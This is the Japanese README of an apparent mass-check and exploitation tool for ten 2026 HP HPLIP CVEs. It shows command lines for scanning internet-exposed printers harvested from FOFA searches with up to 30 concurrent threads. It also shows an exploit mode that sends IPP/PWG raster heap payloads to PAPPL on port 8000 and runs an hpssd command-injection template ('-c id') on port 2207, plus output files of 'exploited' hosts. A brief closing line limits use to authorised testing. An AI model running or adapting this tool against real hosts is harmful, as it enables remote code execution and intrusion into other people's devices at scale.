
HP HPLIP CVE-2026-91097~91106(<3.26.6)の一括チェック/リサーチ用エクスプロイト、PAPPL :8000 IPP プローブ + hpssd テンプレート
HP HPLIP < 3.26.6 向けの大量チェックおよび研究用エクスプロイトドライバ — CVE-2026-91097 から CVE-2026-91106。
| CVE | CVSS 4 | CWE | リモート |
|---|---|---|---|
| CVE-2026-91097 | 7.0 | CWE-787 | はい (UI) |
| CVE-2026-91098 | 8.6 | CWE-122 | はい (UI) |
| CVE-2026-91099 | 5.1 | CWE-61 | ローカル |
| CVE-2026-91100 | 6.8 | CWE-78 | ローカル |
| CVE-2026-91102 | 8.4 | CWE-78 | ローカル |
| CVE-2026-91101 | 5.1 | CWE-129 | 物理 |
| CVE-2026-91103 | 5.1 | CWE-191 | 物理 |
| CVE-2026-91104 | 9.3 | CWE-122 | はい |
| CVE-2026-91105 | 8.6 | CWE-122 | はい (UI) |
| CVE-2026-91106 | 9.3 | CWE-122 | はい |
修正済み: HPLIP 3.26.6+
| サーフェス | 検出 | エクスプロイトの注意点 |
|---|---|---|
hpssd :2207 | TCP + XML プローブ | -c id コマンドインジェクションテンプレート (レガシー hpssd スタイル) |
CUPS/IPP :631 | HTTP プローブ | カタログ / フィンガープリント |
HPLIP Printer Application :8000+ | HTTP PAPPL UI + バージョン文字列 | IPP Print-Job + PWG ラスター研究 (ZDI-26-656 / PAPPL < 1.4.12) — HTTP 経由のシェル出力ではない |
FOFA body="hplip" のヒットは多くの場合 :8000 PAPPL であり、:2207 ではない。ターゲットリストでは host:port を使用すること。
--flow 大量チェック)
pip install -r requirements.txtpip install -r requirements.txt
# Single target (default ports 631, 2207, 9100 if no port given)
python poc.py -u 192.0.2.10 --mode check
# FOFA port (recommended)
python poc.py -u 192.0.2.10:8000 --mode check --flow
# Mass — all 10 CVEs
python poc.py --list targets.example.txt --mode check -j 30 -q --flow
# Critical network heap CVEs only
python poc.py --list list_hplip_printer.txt --mode check --cve CVE-2026-91104,CVE-2026-91106
# Exploit research (PAPPL on :8000 → IPP raster; -c id only meaningful on hpssd:2207)
python poc.py -u 192.0.2.10:8000 --mode exploit --cve CVE-2026-91106
python poc.py -u 192.0.2.10:2207 --mode exploit --cve CVE-2026-91100 -c id
# Save export as fofa_csv_1049.csv (or pass -i)
python fofa_to_list.py
# list.txt (all) + list_hplip_printer.txt (title hint = HPLIP Printer Application)
python poc.py --list list_hplip_printer.txt --mode check -j 30 --flow
192.0.2.10:8000
192.0.2.11:2207
192.0.2.12|CVE-2026-91106
|CVE… を含む行では、| の前の部分をホストとして使用する (ヒット出力用のオプションの CVE ヒント)。
| オプション | 説明 |
|---|---|
-u / --url | ホスト、host:port、または http://host:port |
--list | 1 行につき 1 ターゲット |
--mode | check または exploit |
--cve | all またはカンマ区切りの CVE ID |
-c / --command | シェルコマンド (hpssd コマンドインジェクション試行のみ) |
--heap-size | 生 TCP ヒーププローブサイズ (デフォルト 8192) |
--threads, -j | 大量同時実行数 (デフォルト 20) |
--timeout | ターゲットごとのタイムアウト秒 (デフォルト 8) |
--flow, -f | ターゲットごとに 1 行の結果 |
--output | JSONL (デフォルト massexploit_results.jsonl) |
--vuln-list | hits.txt (check) または exploited.txt (exploit) |
| ファイル | 内容 |
|---|---|
massexploit_results.jsonl | ホストごとの完全な JSON |
hits.txt | 候補 (host|cve,…) |
status 値| ステータス | 意味 |
|---|---|
hplip_surface_candidate | 開いているポート + バージョン/CVE マッピング |
network_surface_version_unknown | TCP オープン、HPLIP/PAPPL の可能性が高い、バージョン不明 |
no_open_ports | スキャンしたポートに到達可能なものがない |
patched_version | HPLIP バージョン ≥ 3.26.6 |
| ステータス | 意味 |
|---|---|
pappl_raster_sent_no_shell_output | PAPPL ポートで IPP/ラスターを送信; HTTP に id なし (ヒープ RCE クラス) |
exploit_attempted_no_confirm | 試行は行われたが検証なし |
exploited | レスポンスがコマンドインジェクションのヒューリスティックに一致した場合のみ (稀) |
.
├── poc.py
├── cve_catalog.py
├── hplip_probes.py
├── hplip_exploit.py
├── pappl_ipp.py
├── pappl_raster.py
├── fofa_to_list.py
├── image.png
├── targets.example.txt
├── requirements.txt
├── README.md
├── LICENSE
└── .gitignore
--cve all にリストされているが、大規模にリモートから悪用可能ではない。許可されたセキュリティテストのみを目的とする。適用される法律およびプログラム規則の遵守はあなたの責任である。